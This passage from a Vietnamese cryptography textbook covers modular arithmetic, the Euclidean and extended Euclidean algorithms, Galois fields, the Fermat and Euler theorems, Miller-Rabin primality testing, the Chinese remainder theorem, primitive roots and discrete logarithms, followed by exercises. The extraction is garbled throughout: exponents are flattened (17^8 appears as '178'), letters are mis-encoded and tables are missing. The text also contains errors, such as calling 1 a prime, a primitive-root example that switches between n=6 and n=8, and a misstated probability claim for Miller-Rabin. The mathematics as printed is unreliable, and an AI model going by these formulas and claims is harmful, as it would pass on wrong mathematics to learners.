o Với phép nhân F trừ phần tử 0 là nhóm Aben.
o F là một vành
Có thể nói là có các phép toán cộng, trừ, nhân, chia số khác 0. Phép trừ ñược coi
như là cộng với số ñối của phép cộng và phép chia là nhân với số ñối của phép
nhân:
a – b = a + (-b)
a / b = a.b-1

Ví dụ: Dễ dàng thấy, với phép cộng và nhân thông thường:


o Tập số nguyên Z là nhóm Aben với phép cộng
o Tập số nguyên Z là vành giao hoán.
o Tập số hữu tỉ Q là trường.
o Tập số thực R là trường.
o Tập số phức C là trường với phép cộng và nhân hai số phức.

III.2 Số học trên Modulo

IV.2.1 ðịnh nghĩa Modulo.


Cho số tự nhiên n và số nguyên a. Ta ñịnh nghĩa: a mod n là phần dư dương khi
chia a cho n.
ðịnh nghĩa quan hệ tương ñương trên tập số nguyên
a ≡ b mod n
- 33 -
khi và chỉ khi a và b có phần dư như nhau khi chia cho n.
o Ví dụ: 100 mod 11 = 1; 34 mod 11 = 1, nên 100 ≡ 34 mod 11
o Số b ñược gọi là ñại diện của a, nếu a ≡ b mod n
(a = qn + b) và 0 <= b < n.
o Ví dụ: -12 mod 7 ≡ -5 mod 7 ≡ 2 mod 7 ≡ 9 mod 7. Ở
ñây 2 là ñại diện của –12, -5, 2 và 9.
o Trong Modulo 7 ta có các lớp tuơng ñương viết trên các hàng như sau:
...
-21 -20 -19 -18 -17 -16 -15
-14 -13 -12 -11 -10 -9 -8
-7 -6 -5 -4 -3 -2 -1
0 1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31 32 33 34
...
Các phần tử cùng cột là có quan hệ ñồng dư vói nhau. Tập các ñại diện của các số
nguyên theo Modulo n gồm n phần tử ký hiệu như sau:
Zn = { 0, 1, 2, 3, …, n-1 }.
Ước số
o Số b không âm ñược gọi là ước số của a, nếu có số m sao cho: a = mb
trong ñó a, b, m ñều nguyên.
o Tức là a chia hết cho b, ký hiệu là b|a
o Ví dụ: 1, 2, 3, 4, 6, 8, 12, 24 là các ước số của 24

III.2.2 Các phép toán số học trên Modulo

Cho trước một số n. Ta muốn thực hiện các phép toán theo Modulo của n. Ta có
thể thực hiện các phép toán trên các số nguyên như các phép cộng, nhân các số
nguyên thông thường sau ñó rút gọn lại bằng phép lấy Modulo hoặc cũng có thể
vừa tính toán, kết hợp với rút gọn tại bất cứ thời ñiểm nào:
(a+b) mod n = [a mod n + b mod n] mod n (*)
(a.b) mod n = [a mod n . b mod n] mod n (**)
Như vậy khi thực hiện các phép toán ta có thể thay các số bằng các số tương
ñương theo Modulo n ñó hoặc ñơn giản hơn có thể thực hiện các phép toán trên
các ñại diện của nó: Zn = { 0, 1, 2, 3, …, n-1 }.
- 34 -
o Zn với các phép toán theo Modulo tạo thành vành giao hoán có ñơn vị. Thực
vậy tính ñóng của các phép cộng và nhân dựa trên hai công thức (*) và (**).
Các tính chất kết hợp, giao hoán và nghịch ñảo ñược suy ra từ các tính chất
tương ứng của các số nguyên.
o Các chú ý về tính chất rút gọn:
 nếu (a+b)≡(a+c) mod n, thì b≡c mod n
 Nhưng (ab)≡(ac) mod n, thì b≡c mod n chỉ khi nếu a là nguyên tố
cùng nhau với n

Ví dụ. Áp dụng các tính chất của modulo:


17
(11*19 + 10 ) mod 7 =
17
((11*19) mod 7 + 10 mod 7) mod 7 =
17
((11 mod 7* 19 mod 7) mod 7 + (10 mod 7) mod 7) mod 7=
2222
((4.(-2)) mod 7 + (((3 ) ) ) * 3 mod 7)mod 7=
222
((-1) mod 7 + ((2 ) ) * 3 mod 7)mod 7 =
(-1 + 5) mod 7 =
4

Ví dụ: Bảng Modulo 8 với phép cộng


- 35 -

III.2.3 Ước số chung lớn nhất.

• Bài toán. Cho hai số nguyên dương a và b. Bài toán tìm ước chung lớn nhất của
hai số nguyên dương là bài toán chung của lý thuyết số. Ta ký hiệu GCD(a,b) là
ước số chung dương lớn nhất của a và b, tức là số nguyên dương vừa là ước của a
vừa là ước của b và là số nguyên dương lớn nhất có tính chất ñó.
Ví dụ: GCD(60,24) = 12 ; GCD (6, 15) = 3; GCD(8, 21) = 1.

• Nguyên tố cùng nhau. Ta thấy 1 bao giờ cũng là ước số chung của hai số nguyên
dương bất kỳ. Nếu GCD(a, b) = 1, thì a, b ñựơc gọi là hai số nguyên tố cùng
nhau:
Ví dụ: GCD(8,15) = 1, tức là 8 v à 15 là hai số nguyên tố cùng nhau

• Tìm ước chung lớn nhất. Bây giờ chúng ta xét bài toán tìm ước số chung lớn
nhất của hai số nguyên dương cho trước. Dễ dàng chứng minh ñược tính chất sau:
GCD(a,b) = GCD(b, a mod b)
Như vậy ñể tìm ước số chung của một cặp số cho trước, ta ñưa về bài toán tìm ước
chung của cặp số gồm số nhỏ hơn trong hai số ñó và phần dư của số lớn khi chia cho
số nhỏ hơn. Thuật toán Ơcơlít tạo nên vòng lặp, ở mỗi bước ta áp dụng tính chất trên
cho ñến khi phần dư ñó còn khác 0.
• Thuật toán Ơcơlit tìm GCD(a, b)
A=a, B=b
while B>0•R = A mod B
A = B, B = R
return A

Ví dụ: GCD(1970,1066)
1970 = 1 x 1066 + 904 gcd(1066, 904)
1066 = 1 x 904 + 162 gcd(904, 162)
904 = 5 x 162 + 94 gcd(162, 94)
162 = 1 x 94 + 68 gcd(94, 68)
94 = 1 x 68 + 26 gcd(68, 26)
68 = 2 x 26 + 16 gcd(26, 16)
- 36 -
26 = 1 x 16 + 10 gcd(16, 10)
16 = 1 x 10 + 6 gcd(10, 6)
10 = 1 x 6 + 4 gcd(6, 4)
6 = 1 x 4 + 2 gcd(4, 2)
4 = 2 x 2 + 0
gcd(1970, 1066) = 2

III.3 Trường Galoa


Ta muốn ñi tìm một trường số có hữu hạn các phần tử, tức là một tập hữu hạn các
phần tử mà ở ñó có thể cộng trừ, nhân, chia mà không vượt ra ngoài phạm vi tập hữu
hạn các phần tử ñó. Trường Galoa thuộc lọai ñó và ñóng vai trò quan trọng trong lý
thuyết mã.
Có thể chứng minh ñược rằng số các phần tử của trường hữu hạn bất kỳ bằng lũy thừa
của pm của sô nguyên tố p nào ñó, ta ký hiệu trường Galoa ñó là GL(pm). Thông
thường ta sử dụng các trường: GL(p) và GL(2m).
Sau ñây chúng ta sẽ xây dựng các trường Galoa ñó.

III.3.1 Trường Galoa GL(p), với p là số nguyên tố.


o GL(p) gồm tập {0,1, … , p-1}
o Với các phép toán cộng và nhân Modulo, như ta ñã biết GL(p) tạo thành
một vành giao hoán. Vì p là số nguyên tố nên mọi số khác 0 nhỏ hơn p
ñều nguyên tố cùng nhau với p.
• GL(p) tạo thành trường vì mọi a thuộc {1, … , p-1} ñều có phần tử nghịch ñảo a-
1
: a . a-1 = 1. Thực vậy vì a và p nguyên tố cùng nhau nên theo thuật toán tìm
nghịch ñảo dưới ñây ta sẽ tìm ñược nghịch ñảo của a.
Như vậy trên GL(p) ta có thể thực hiện các phép toán cộng, trừ, nhân, chia.

Ví dụ phép nhân trên GL(7)


- 37 -

III.3.2 Tìm số nghịch ñảo


Bây giờ ta xét bài toán: nếu GCD(m, b) = 1, thì tìm nghịch ñảo của b theo Modulo m.
Ta mở rộng thuật toán Ơcơlit vừa tìm ước chung lớn nhất của m và b, vừa tính nghịch
ñảo trong trường hợp GCD(m, b) = 1.
Thuật toán Euclid mở rộng:
EXTENDED EUCLID(m, b)
1.(A1, A2, A3)=(1, 0, m);
(B1, B2, B3)=(0, 1, b)
2. if B3 = 0
return A3 = gcd(m, b); no inverse
3. if B3 = 1
return B3 = gcd(m, b); B2 = b–1 mod m
4. Q = A3 div B3
5. (T1,T2,T3)=(A1 – Q*B1,A2 – Q*B2, A3 – Q*B3)
6. (A1, A2, A3)=(B1, B2, B3)
7. (B1, B2, B3)=(T1, T2, T3)
8. goto 2
Thực vậy, các quan hệ sau là bất biến:
mA1 + bA2 = A3; (1)
mB1+ bB2 = B3 (2)
mT1 + bT2 = T3; (3)
Vì ban ñầu: m.1 + b.0 = m; m.0 +b.1 = b, nên ta có (1) và (2) ñúng. Và ta chứng
minh trong một bước lặp từ (1) và (2) suy ra (3). Từ thuật toán ta có :
T1 = A1 – Q.B1
T2 = A2 – Q.B2
T3 = A3 – Q.B3
Nên ta sẽ chứng minh ñẳng thức (3) còn lại
mT1 + bT2 = m(A1 – Q.B1) + b (A2 – Q.B2)
= (mA1 + bA2) - Q(mB1+ bB2)
- 38 -
= A3 – Q.B3
= T3
Khi sang bước lặp tiếp theo ñổi vai trò B sang A và T sang B, thì các công thức ñối
(1) và (2) ñối với A, B sẽ ñúng, và do ñó theo chứng minh trên (3) sẽ ñúng trong bước
lặp tiếp theo. Vậy (1), (2), (3) là các bất biến của vòng lặp.
Cuối cùng khi B3 = 1, thì từ các bất biến ta có:
mB1+ bB2 = 1
bB2 = 1- mB1
bB2 = 1 mod m

Do ñó: B2 = b-1 mod m

Ví dụ. Tìm nghịch ñảo của 550 trong GL(1759).

Mỗi bước thực hiện thuật toán Ơcơlit mở rộng sẽ ñược mô tả bởi một hàng trong bảng
sau.

Sau 4 bước. ta có B3 = 1, khi ñó thuật toán dừng, GCD(1759, 550) = 1 và 550-1 mod
1759 = 355.

III.3.3 Số học ña thức


Ta xét tập các ña thức Pn có bậc nhỏ hơn hoặc bằng n:
- 39 -

Trên tập các ña thức ñó ta có thể có một số cách khác nhau thực hiện các phép toán
cộng và nhân ña thức:
o Có thể thực hiện các phép toán thông thường trên ña thức
o Các phép toán trên ña thức với các hệ số trên Modulo p
o Các phép toán trên ña thức với các hệ số trên Modulo p và sau ñó lầy
Modulo theo ña thức m(x)
• Phép toán ña thức thông thường
o Cộng trừ các hệ số tương ứng
o Nhân mọi hệ số với cùng một số.
Ví dụ. f(x) = x3 + x2 + 2 và g(x) = x2 – x + 1
f(x) + g(x) = x3 + 2x2 – x + 3
f(x) – g(x) = x3 + x + 1
f(x) . g(x) = x5 + 3x2 – 2x + 2
• Phép toán ña thức với Modulo hệ số
o Cho số nguyên tố p tùy ý
o Tính các hệ số theo Modulo p. Khi ñó tập các hệ số ñược lấy từ trường
GL(p). Còn phép nhân ña thức có thể nhận ñược kết quả là ña thức bậc lớn
hơn n.
o Ta thường quan tâm ñến Mod 2, tức là mọi hệ số là 0 hoặc 1
Giả sử f(x) = x3 + x2 and g(x) = x2 + x + 1
f(x) + g(x) = x3 + x + 1
f(x) . g(x) = x5 + x2
Sau ñây ta xét riêng trường hợp khi các phép tóan cộng, nhân ña thức ñược thực
hiện với phép lấy Modulo theo một ña thức nào ñó.

III.3.4 Phép toán ña thức với Modulo ña thức


• Cho ña thức g(x) bậc n và các hệ số của các ña thức xét trong mục này lầy trong
trường Galoa GF(p) với p là số nguyên tố. Viết ña thức f(x) dưới dạng:
f(x) = q(x) g(x) + r(x)
trong ñó r(x) là phần dư khi chia f(x) cho g(x). Rõ ràng bậc của r(x) sẽ nhỏ hơn
bậc của g(x).
Ta viết r(x) = f(x) mod g(x)
• Nếu không có phần dư, tức là r(x) = 0, ta nói g(x) là ước của f(x) hay g(x) chia
hết f(x) hay f(x) chia hết cho g(x).
- 40 -
• Trong trường hợp g(x) không có ước ngoài 1 và chính nó, thì ta nói g(x) là ña
thức nguyên tố hoặc không rút gọn ñược. Ví dụ g(x) = x3 + x + 1 là ña thức
nguyên tố.
• Việc tìm ước chung lớn nhất của hai ña thức ñược trình bày trong thuật toán
tương tự như Ơcolit như sau:

Tìm ña thức ước chung lớn nhất GCD(a(x), b(x))


o c(x) = GCD(a(x), b(x)) nếu c(x) là ña thức bậc lớn nhất mà chia hết
cả a(x), b(x)
o Có thể ñiều chỉnh thuật toán Euclid’s Algorithm ñể tìm nó:
EUCLID[a(x), b(x)]
1. A(x) = a(x); B(x) = b(x)
2. if B(x) = 0 return A(x) = gcd[a(x), b(x)]
3. R(x) = A(x) mod B(x)
4. A(x) ¨ B(x)
5. B(x) ¨ R(x)
6. goto 2
Thuật toán tìm nghịch ñảo của một ña thức theo một ña thức nguyên tố cùng nhau với
nó, ñược trình bày tương tự như Ơcolit mở rộng.
• Phép toán ña thức với Modulo ña thức.
Cho g(x) là ña thức nguyên tố bậc n. Khi ñó tập các ña thức bậc nhỏ hơn bằng n với
các phép toán cộng và nhân ña thức theo Modulo của ña thức nguyên tố g(x) tạo
thành trường hữu hạn, gọi là trường Galoa và ký hiệu là GL(pn).
Sau ñây ta xét trường GF(2n), tức là xét tập các ña thức với các hệ số Modulo 2 và
bậc nhỏ hơn bằng n và phép toán nhân có thể rút gọn theo Modulo của ña thức g(x)
nguyên tố bậc n. Có thể tìm ñược nghịch ñảo nhờ thuật toán Euclide mở rộng.
Tuy nhiên ñể thuận tiện trong việc biểu diễn ña thức, ta sẽ xây dựng song ánh từ tập
các ña thức bậc nhỏ hơn n vào các dãy n bit là dãy các hệ số thể hiện sự có mặt của
các lũy thừa tương ứng, và xây dựng các phép toán cộng và nhân các dãy bit sao cho
nhận ñược kết quả tương tự như cộng và nhân các ña thức tương ứng cùng với việc
rút gọn theo ña thức nguyên tố. ðể ñơn giản ta minh họa qua ví dụ cụ thể trên GL(23).

Ví dụ GF(23)
- 41 -

• Bảng trên có thể xây dựng bằng cách tính trực tiếp trên các phép toán cộng và
nhân ña thức sau ñó lấy Modulo theo ña thức nguyên tố x3 + x + 1.
• Tuy nhiên có thể thực hiện các phép toán trên dãy 3 bit như sau;
o Vì các hệ số là 0, 1 nên các ña thức có thể biểu diễn như các xâu bit
o Phép cộng hai ña thức trở thành XOR (cộng cơ số 2) trên các xâu bit tương
ứng với hai ña thức ñó.
o Nhân một ña thức với x trở thành Shift sang trái 1 ñơn vị của dãy . bit
tương ứng với ña thức ñó.
o Phép tính Modulo theo ña thức nguyên tố của một ña thức cùng bậc n ñược
thực hiện bằng cách tính hiệu hay cũng là tổng của hai ña thức ñó, mà ñó cũng
chính là lấy dãy bit của ña thức ñó XOR với dãy bit của ña thức nguyên tố.
o Phép nhân và tính Modulo ñược kết hợp bằng phép lặp giữa Shìt và XOR.

Ví dụ. Trong GF(23) ta có (x2+1) tương ứng dãy bít 1012 và

(x2+x+1) tương ứng với dãy 1112


• Tổng hai ña thức trên là
(x2+1) + (x2+x+1) = x
101 XOR 111 = 0102
• Tích của hai ña thức là
(x+1).(x2+1) = x.(x2+1) + 1.(x2+1)
- 42 -

= x3+x+x2+1 = x3+x2+x+1
011.101 = (101)<<1 XOR (101)<<0
= 1010 XOR 101 = 11112
• Phép rút gọn theo Modulo là
(x3+x2+x+1 ) mod (x3+x+1) = (x3+x2+x+1 ) - (x3+x+1 )
= x2
1111 mod 1011 = 1111 XOR 1011 = 01002

Như vậy trường Galoa GL(2n) bao gồm 2n phần tử. Muốn trường Galoa có số phần tử
lớn tuỳ ý, ta chỉ việc tăng và lấy n thích hợp. ðặc biệt việc tính toán các phép toán
cộng trừ, nhân, chia trên ñó rất nhanh và hiệu quả trên các thao tác của các thiết bị
phần cứng. Chính vì vậy trường Galoa ñóng vai trò quan trọng trong lý thuyết mã mà
chúng ta sẽ thấy rõ qua các chương tiếp theo.

III.4 Giới thiệu lý thuyết số

III.4.1 Các số nguyên tố


Như chúng ta ñã biết số nguyên tố là các số nguyên dương chỉ có ước số là 1 và chính nó.
Chúng không thể ñược viết dưới dạng tích của các số khác. 1 là số nguyên tố, nhưng
không quan tâm ñến nó. Xét các số nhỏ hơn 10 ta có: 2, 3, 5, 7 là số nguyên tố, vì chúng
không có ước số khác 1 và chính nó; 4, 6, 8, 9, 10 không phải là số nguyên tố. Có thể nói
2 là số chẵn duy nhất là số nguyên tố. Các số nguyên tố là trung tâm của lý thuyết số. Số
các số nguyên tố là vô hạn.

Ví dụ. Sau ñây là danh sách các số nguyên tố nhỏ hơn 200:
2 3 5 7 11 13 17 19 23 29 31 37 41 43 47 53 59 61 67 71 73
79 83 89 97 101 103 107 109 113 127 131 137 139 149 151 157
163 167 173 179 181 191 193 197 199

III.4.2 Phân tích ra thừa số nguyên tố


Một trong những bài toán cơ bản của số học là phân tích ra thừa số nguyên tố số a, tức là
viết nó dưới dạng tích của các số nguyên tố. Lưu ý rằng phân tích là bài toán khó hơn rất
nhiều so với bài toán nhân các số ñể nhận ñược tích.
Ta có kết luận, mọi số nguyên dương ñều có phân tích duy nhất thành tích các lũy thừa
của các số nguyên tố:
- 43 -

Ví dụ: 91=7×13; 3600=24×32×52


Thông thường ñể tìm phân tích trên, ta phải kiểm tra tính chia hết cho các số nguyên tố từ
nhỏ ñến lớn và thực hiện phép chia liên tiếp cho các số nguyên tố, rồi gộp thành lũy thừa
của các số nguyên tố.

III.4.3 Các số nguyên tố cùng nhau và GCD


Hai số nguyên dương a và b không có ước chung nào ngoài 1, ñược gọi là nguyên tố cùng
nhau.
Ví dụ: 8 và 15 là nguyên tố cùng nhau, vì ước của 8 là 1, 2, 4, 8, còn ước của 15 là 1, 3,
5, 15. Chỉ có 1 là ước chung của 8 và 15.
Ngược lại có thể xác ñịnh ước chung lớn nhất bằng cách trong các phân tích ra thừa số
của chúng, tìm các thừa số nguyên tố chung và lấy bậc lũy thừa nhỏ nhất trong hai phân
tích của hai số ñó.
Ví dụ. Ta có phân tích: 300=21×31×52 và 18=21×32. Vậy
GCD(18,300)=21×31×50=6

III.4.4 ðịnh lý Ferma (ðịnh lý Ferma nhỏ)

ap-1 mod p = 1

trong ñó p là số nguyên tố và a là số nguyên bất kỳ khác bội của p: GCD(a, p) = 1.


Hay với mọi số nguyên tố p và số nguyên a không là bội của p, ta luôn có
ap = a mod p
Công thức trên luôn ñúng, nếu p là số nguyên tố, còn a là số nguyên dương nhỏ hơn p.

Ví dụ. Vì 5 và 7 là các số nguyên tố. 2 và 3 không là bội tương ứng của 7 và 5, nên theo
ñịnh lý Ferma ta có
27-1 mod 7 = 1 (= 26 mod 7 = 64 mod 7= 1)
35-1 mod 5 = 1 (= 34 mod 5 = 81 mod 5= 1)
(-2)11-1 mod 11 = 1 (= 210 mod 11 = 1024 mod11 = 1)
Kết quả trên ñược dùng trong khoá công khai. Nó cùng ñược sử dụng ñể kiểm tra tính
nguyên tố của một số nguyên p nào ñó, bằng cách lấy ngẫu nhiên các số a và kiểm tra
xem có tính chất nêu trên không, kết luận là p nguyên tố càng thuyết phục nếu phép thử
trên ñúng với nhiều lần chọn ngẫu nhiên các số a.
- 44 -
III.4.5 Hàm Ole
Cho n là một số nguyên dương. Khi thực hiện phép tính ñồng dư n của mọi số nguyên
khác ta nhận ñược tập ñầy ñủ các phần dư có thể có là:
0, 1, 2,…, n-1
Từ tập trên ta tìm tập rút gọn bao gồm các số nguyên tố cùng nhau với n và quan tâm ñến
số lượng các phần tử như vậy ñối với số nguyên dương n cho trước.
Ví dụ. Với n = 10:
o Tập ñầy ñủ các phần dư là {0,1,2,3,4,5,6,7,8,9}
o Tập rút gọn các phần dư nguyên tố với 10 là {1,3,7,9}
o Số các phần tử của tập rút gọn trên là giá trị của hàm Ole Ф(n). Như vậy,
Ф(10) = 4.
• Muốn tính Ф(n) việc ñếm số các số ngưyên tố cùng nhau với n và nhỏ hơn n ñược
loại bỏ vì ñây là bài toán tốn nhiều công sức.
• Nói chung có thể tính hàm Ơle của một số dựa trên biểu thức phân tích ra thừa số của
số ñó.
o Dễ dàng thấy, nếu p là số nguyên tố Ф(p) = p-1
o Nếu p và q là hai số nguyên tố khác nhau, thì có thể chứng minh ñược rằng:
o Ф(p.q) = (p-1)(q-1)
o Nếu p là số nguyên tố, thì Ф(pn) = pn-pn-1
o Nếu s và t là hai số nguyên tố cùng nhau, thì Ф(s.t) =
Ф(s).Ф(t)
Vi dụ.
Ф(37) = 37 – 1 = 36
Ф(21) = (3–1)×(7–1) = 2×6 = 12
Ф(72) = Ф(8.9) = Ф(8). Ф(9) = Ф(23).Ф(32) =
= (23-22)(32-31) = 4.6 = 24

III.4.6 ðịnh lý Ole


ðịnh lý Ole là tổng quát hoá của ðịnh lý Ferma

aФ(n)mod n = 1

với mọi cặp số nguyên dương nguyên tố cùng nhau a và n: gcd(a,n)=1.


Ví dụ. a = 3; n = 10; Ф(10)=4;
Vì vậy 34 = 81 = 1 mod 10
a = 2; n =11; Ф(11)=10;
- 45 -

Do ñó 210 = 1024 = 1 mod 11

III.4.7 Kiểm tra tính nguyên tố


Giả sử cần phải tìm một số nguyên tố rất lớn. Lấy ngẫu nhiên một số ñủ lớn, ta cần phải
kiểm tra xem số ñó có phải là số nguyên tố không. Phương pháp truyền thống là thử bằng
phép chia như sau:
o Chia cho tất cả các số (chỉ cần nguyên tố) nhỏ hơn hoặc bằng căn bậc hai của
số ñó. Nếu nó không chia hết cho số nào, thì ñó là số nguyên tố.
o Chỉ hiệu quả khi xét các số nhỏ.
Có phương pháp khác, mà ta sẽ xét ở ñây, sử dụng các phép kiểm tra tính nguyên tố
thống kê dựa trên các tính chất
o Mà mọi số nguyên tố phải thỏa mãn
o Nhưng có một số số không nguyên tố, gọi là giả nguyên tố cũng thoả mãn tính
chất ñó.
Cụ thể là phép kiểm tra dựa trên ðịnh lý Ferma như sau: nếu số n cần kiểm tra tính
nguyên tố là số nguyên tố, thì nó sẽ thoã mãn ñịnh lý Ferma ñối với mọi số a nhỏ hơn nó
an-1 mod n = 1. Như vậy, lấy ngẫu nhiên số a và kiểm tra xem nó có tính chất trên không.
Nếu có thì n có thể là số nguyên tố, nếu cần ñộ tin cậy lớn hơn, thì ta kiểm tra liên tiếp
nhiều lần như vậy với các số ngẫu nhiên a ñược chọn. Sau mỗi lần qua ñược phép thử,
xác suất ñể n là số nguyên tố lại tăng lên. Chú ý rằng
- nếu bi mod n = 1,
thì b2i mod n = (1)2 mod n = 1 và
- nếu bi mod n = n – 1,
thì b2i mod n = (n - 1)2 mod n = (n2 – 2n +1) mod n = 1
Kiểm tra số n có là số nguyên tố không, ta chỉ cần xét n là lẻ, khi ñó n-1 là chẵn và biểu
diễn nó dạng (n–1)= 2k.q
Khi ñó ñể tính an-1, ta tính aq, sau ñó bình phương liên tiếp k lần.

Thuật toán Miller - Rabin


• Thuật toán như sau:
TEST (n) is:
1. Find integers k, q, k > 0, q odd, so that (n–1)= 2k.q
2. Select a random integer a, 1<a<n–1
3. if aq mod n = 1 then return (“maybe prime");
4. for j = 0 to k – 1 do
5. if (a2jq mod n = n-1)
- 46 -
then return(" maybe prime ")
1. return ("composite")

Các xem xét về mặt xác suất


Nếu thuật toán Miller Rabin trả về số “composite” thì số ñó chắc chắn không là số
nguyên tố, vì khi ñó số n và số a < n không thoả mãn ñịnh lý Fecma, tức là an-1 mod n
≠ 1.
Ngược lại số ñó có thể là số nguyên tố hoặc giả nguyên tố theo nghĩa nó thoả mãn ñịnh lý
Fecma với số a < n. Người ta chứng minh ñược rằng xác suất ñể số giả nguyên tố ñó
không là số nguyên tố là là ¼. Suy ra nếu lặp t phép thử với các lựa chọn ngẫu nhiên
khác nhau của số a, thì khi ñó xác suất ñể số n sau t phép thử là số nguyên tố là: 1-(1/4)t
Ví dụ. Sau 10 bước, t = 10, mà số ñã cho n ñều có thể là nguyên tố, thì xác suất ñể n là
số nguyên tố là 1 – (1/4)10 > 0.99999.

Phân bố nguyên tố.


ðịnh lý về số nguyên tố khẳng ñịnh số nguyên tố xuất hiện trung bình sau mỗi khoảng ln
n số nguyên (nếu xét các số trong kích thước n). Như vậy bỏ qua số chẵn và các bội số
của 5, ta cần kiểm tra 0.4ln n số trong kích thước n ñể tìm ñược 1 số nguyên tố. Chẳng
hạn n=1024, thì 0.4*ln 1024 = 0.4*10 = 4, nghĩa là trong 1024 số ñầu, thì trung bình cứ 4
số lại có một số nguyên tố. Lưu ý ñây chỉ là trung bình, vì có lúc các số nguyên rất gần
nhau và có lúc lại rất xa nhau.

III.4.8 ðịnh lý phần dư Trung Hoa


Trong nhiều trường hợp ta muốn tìm cách ñể tăng tốc ñộ tính toán Modulo. Các phép
toán trên modulo các số nhỏ tính nhanh nhiều so với các số lớn. Chính vì vậy nếu số lớn
phân tích ñược thành tích của các số nhỏ, từng cặp nguyên tố cùng nhau, thì ta sẽ có cách
tính hiệu quả nhờ vào ñịnh lý Phần dư Trung hoa.
Tính toán trên modulo của một tích các số mod M với M= m1m2..mk, trong ñó
GCD(mi, mj) = 1, với mọi i khác j. ðịnh lý phần dư Trung Hoa cho phép làm việc trên
từng modulo mi riêng biệt. Vì thời gian tính toán các phép toán trên modulo tỷ lệ với kích
thước của số lấy modulo nên ñiều ñó sẽ nhanh hơn tính toán trên toàn bộ M.

Có thể triển khai ðịnh lý Trung Hoa theo một số cách như sau:

• Tính toán theo modulo số lớn. ðể tính A mod M, với M khá lớn và A là biểu thức
số học nào ñó. Trước hết ta cần tính tất cả ai = A mod mi. Sau ñó sử dụng công thức
- 47 -

trong ñó Mi = M/mi

Ví dụ. Tính 178 mod 77. Áp dụng ñịnh lý phần dư Trung hoa, ta coi A = 1718, m1 = 7,
m2 = 11. Khi ñó M1 = 11, M2 = 7 và
11-1 mod 7 = 4-1 mod 7 = 2, suy ra c1 = 11*2 = 22
7-1 mod 11 = 8, suy ra c2 = 7*8 = 56
a1 = 178 mod 7 = (17 mod 7)8 mod 7 = 38 mod 7 = (32)4 mod 7 = 2
a2 = 178 mod 11 = (17 mod 11)8 mod 11 = 68 mod 11 =
= (62)4 mod 11 = 34 mod 11 = 4
Vậy A = 178 mod 77 = (2*22 + 4*56) mod 77 = 268 mod 77 = 37 mod 37

• Giải hệ phương trình modulo. Cho ai = x mod mi, với GCD(mi, mj) = 1, với mọi i
khác j. Khi ñó ta cũng áp dụng ðịnh lý phần dư Trung Hoa ñể tìm x.
Ví dụ. Cho x ≡ 5 mod 7 và x ≡ 6 mod 11. Tìm x.
Áp dụng ñịnh lý phần dư Trung hoa, ta tính:
7-1 mod 11 = 8 và 11-1 mod 7 = 2. Như vậy
x = (5*2*11 + 6*8*7) mod (7*11) = 61 mod 77.

III.4.9 Căn nguyên tố


Từ ðịnh lý Ole ta có aФ(n)mod n=1, với a và n là nguyên tố cùng nhau. Nếu không
có số mũ dương nào nhỏ hơn Ф(n), mà có tính chất như vậy ñối với a, thì khi ñó ta gọi a
là căn nguyên tố của n. Cụ thể như sau:
• Xét m ñể am mod n = 1, GCD(a,n)=1
Theo ðịnh lý Ơle ta có m = Ф(n) thỏa mãn hệ thức trên, nhưng có thể cũng có giá trị
nhỏ hơn của m < Ф(n) cũng thoả mãn. Khi ñạt ñược m như vậy, thì nó cũng thoả mãn với
bội của m, tức là sẽ có vòng lặp.
• Nếu giá trị m = Ф(n) là số dương nhỏ nhất thoả mãn công thức trên thì a ñược gọi là
căn nguyên tố của n.
• Nếu p là số nguyên tố và a là căn nguyên tố của p, thì các luỹ thừa của a:
a0, a1, …, ap-2 sẽ sinh ra nhóm modulo p.
Việc tìm các căn nguyên tố a của n sẽ có ích trong việc xét mã công khai.
Ví dụ. Xét số nguyên tố p = 5 và xét xem a = 2 có phải là căn nguyên tố của 5 không?
Ta có:
- 48 -
2 mod 5 = 2; 22mod 5 = 4; 23mod 5 = 3; 24mod 5 = 1
Rõ ràng m= 4= Ф(5) là số mũ dương nhỏ nhất có tính chất 2m mod 5 = 1, nên 2 là căn
nguyên tố của 5.
• Xét số n = 6 và xét xem a = 3 có phải là căn nguyên tố của 3 không?
Ta có
3 mod 8 = 3; 32mod 8 = 1; 33mod 8 = 3; 34mod 8 = 1
Rõ ràng m= 2 < 4 = Ф(8) là số mũ dương nhỏ nhất có tính chất 3m mod 8 = 1, nên 3
không là căn nguyên tố của 8.
III.4.10 Logarit rời rạc
Bài toán ngược của bài toán lũy thừa là tìm logarit rời rạc của một sô modulo p, tức là
tìm số nguyên x sao cho
ax = b mod p
Hay còn ñược viết là x=logab mod p hoặc x=inda,p(b)
Nếu a là căn nguyên tố của p và p là số nguyên tố, thì luôn luôn tồn tại logarit rời rạc,
ngược lại thì có thể không
Ví dụ. Tìm x = log2 3 mod 13. Bằng cách thử lần lượt:
20 mod 13 = 1; 21 mod 13 = 2, 22 mod 13 = 4, 23 mod 13 = 8, 24 mod 13 = 3.
Vậy log2 3 mod 13 = 4.
x
Tìm x = log3 4 mod 13 (tìm x: 3 = 4 mod 13). Trong trường hợp này không có lời
giải, vì
30 mod 13 = 1; 31 mod 13 = 3; 32 mod 13 = 9; 33 mod 13 = 1= 30 mod 13
Ta nhận thấy, trong khi bài toán lũy thừa là dễ dàng, thì bài toán logarit rời rạc là rất
khó. ðây cũng là một cơ sở của mã công khai.

Bài tập.

1. Chứng tỏ rằng tập các số nguyên với phép cộng hai số nguyên tạo thành nhóm
giao hoán.Chứng tỏ rằng tập các số nguyên với phép cộng hai số nguyên và phép
nhân hai số nguyên tạo thành vành giao hoán. nhóm giao hoán. Hỏi vành ñó có
tạo thành miền nguyên hay trường không.
2. Chứng tỏ rằng tập các phần dư khi chia cho n, Zn với hai phép toán và nhân theo
modulo n tạo thành vành giao hoán. Với n thỏa mãn ñiều kiện gì, thì vành ñó là
trường.
3. Tính giá trị các biểu thức theo modulo sau:
• 8 mod 9 + 7 mod 9
- 49 -
• 8 mod 9 * 7 mod 9
• 5 mod 11 – 9 mod 11
• 53 mod 7
• 520 mod 7
• 5/6 mod 7
4. Tính giá trị các biểu thức theo modulo sau
• (-546) mod 13 - 347 mod 11
• (1234 + 2345) mod 17
• (213 * 345) mod 19
• 15-1 mod 101
• 41-1 mod 100
• 1435 mod 11
• (235*126/13) mod 19
• 31130 mod 23
• (23525 /17 + 12619. 397 /13) mod 29

5. Cài ñặt thuật toán Ocolit mở rộng

6. Biểu diễn phép nhân ña thức với hệ số theo mod 2 và theo module ña thức sau (x3
+ x + 1) (gọi là GL(23):
• (x + 1) * (x2 + x + 1) mod (x3 + x + 1)
• x2 * (x2 + x + 1) mod (x3 + x + 1)
